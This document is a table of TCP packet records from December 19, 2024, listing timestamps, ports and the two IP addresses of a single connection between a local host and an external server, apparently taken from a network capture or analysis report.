Dec 19, 2024 13:45:18.166709900 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.167365074 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.167500019 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.167541027 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.168369055 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.168431997 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.168472052 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.169429064 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.169517994 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.169559956 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.170459032 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.170526028 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.170674086 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.171439886 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.171647072 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.171700954 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.172605991 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.172796965 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.172835112 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.174511909 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.174529076 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.174576044 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.174699068 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.174859047 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.174896955 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.175653934 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.175745010 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.175790071 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.176629066 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.176769972 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.176819086 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.177757025 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.178107023 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.178145885 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.178733110 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.178761005 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.178842068 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.179749012 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.179845095 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.179961920 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.180810928 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.180946112 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.181015968 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.184994936 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.185012102 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.185029030 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.185051918 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.185158014 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.185173035 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.185190916 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.185211897 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.185228109 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.185843945 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.228734970 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.322887897 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.323052883 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.323100090 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.323364019 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.323525906 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.323632956 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.323674917 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.324574947 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.324614048 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.324628115 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.325640917 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.325690985 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.325726986 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.326689005 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.326762915 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.326802969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.327693939 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.327709913 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.327753067 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.331887007 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.331911087 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.331928015 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.331937075 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.331944942 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.331962109 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.331971884 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.331976891 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.332012892 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.332941055 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.333110094 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.333149910 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.334073067 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.334111929 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.334248066 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.335139990 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.335172892 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.335326910 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.336144924 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.336162090 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.336216927 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.336318016 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.336334944 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.336349964 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.337073088 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.337162971 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.337167025 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.338041067 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.338098049 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.338104963 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.339209080 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.339225054 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.339267015 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.340146065 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.340162992 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.340188026 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.341221094 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.341237068 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.341259003 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.342170954 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.342329025 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.342354059 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.343321085 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.343337059 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.343378067 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.344208002 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.344255924 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.344299078 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.345237970 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.345310926 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.345370054 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.346323013 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.346373081 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.346404076 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.347332001 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.347359896 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.347421885 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.348299980 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.348373890 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.348546982 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.349427938 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.349499941 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.349504948 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.350410938 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.350472927 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.350501060 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.351454020 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.351521969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.351555109 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.352477074 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.352552891 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.352607012 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.353471041 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.353513956 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.353530884 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.354547024 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.354697943 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.354728937 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.355600119 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.355639935 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.355712891 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.356625080 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.356668949 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.356710911 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.357686043 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.357872009 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.357892990 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.358690977 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.358773947 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.358839035 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.359786987 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.359843969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.359869003 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.360857964 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.360904932 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.360922098 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.361769915 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.361843109 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.361886024 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.362843037 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.362859011 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.362885952 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.363795996 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.363929987 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.363977909 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.364872932 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.364888906 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.364928961 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.365819931 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.365902901 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.365986109 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.366895914 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.366966963 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.366982937 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.367924929 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.367964983 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.368046999 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.368911982 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.368988037 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.369038105 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.369993925 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.370075941 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.370083094 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.371054888 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.371190071 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.371237993 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.372086048 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.372101068 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.372128010 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.373181105 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.373198986 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.373219967 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.374089956 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.374146938 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.374172926 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.375168085 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.375216961 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.375257969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.376162052 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.376244068 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.376282930 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.416224003 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.514940023 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.514962912 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.515031099 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.515382051 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.515604019 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.515661955 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.515703917 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.516613960 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.516657114 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.516709089 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.517699957 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.517741919 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.517752886 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.518717051 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.518769979 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.518861055 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.519764900 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.519781113 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.519844055 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.520754099 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.520792961 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.520834923 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.521764040 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.521797895 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.521810055 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.522799969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.522844076 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.522931099 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.523927927 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.524008036 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.524101019 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.524931908 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.524970055 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.524979115 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.526045084 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.526081085 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.526122093 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.526937008 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.526978016 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.527103901 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.527976990 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.528016090 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.528048038 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.529131889 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.529177904 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.529221058 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.530064106 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.530118942 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.530142069 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.531068087 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.531157017 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.531207085 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.532119036 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.532160997 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.532277107 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.533138037 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.533185005 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.533224106 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.534171104 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.534194946 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.534233093 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.535274982 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.535322905 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.535348892 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.536341906 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.536412001 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.536439896 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.537353992 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.537400007 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.537405014 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.538383961 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.538418055 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.538424015 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.539360046 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.539400101 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.539588928 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.540400982 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.540460110 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.540499926 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.541464090 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.541521072 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.541652918 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.542435884 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.542475939 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.542745113 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.543476105 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.543517113 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.543533087 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.544609070 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.544625998 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.544645071 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.545764923 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.545782089 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.545813084 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.546967983 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.547010899 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.547051907 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.547903061 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.547971010 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.548019886 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.548738003 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.548775911 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.548790932 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.549627066 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.549678087 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.549904108 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.550721884 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.550738096 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.550760031 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.551778078 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.551820993 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.551867008 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.552896976 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.552912951 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.552963972 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:18.553872108 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.553888083 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:18.553905010 CET	49943	2845	192.168.2.7	104.161.43.18
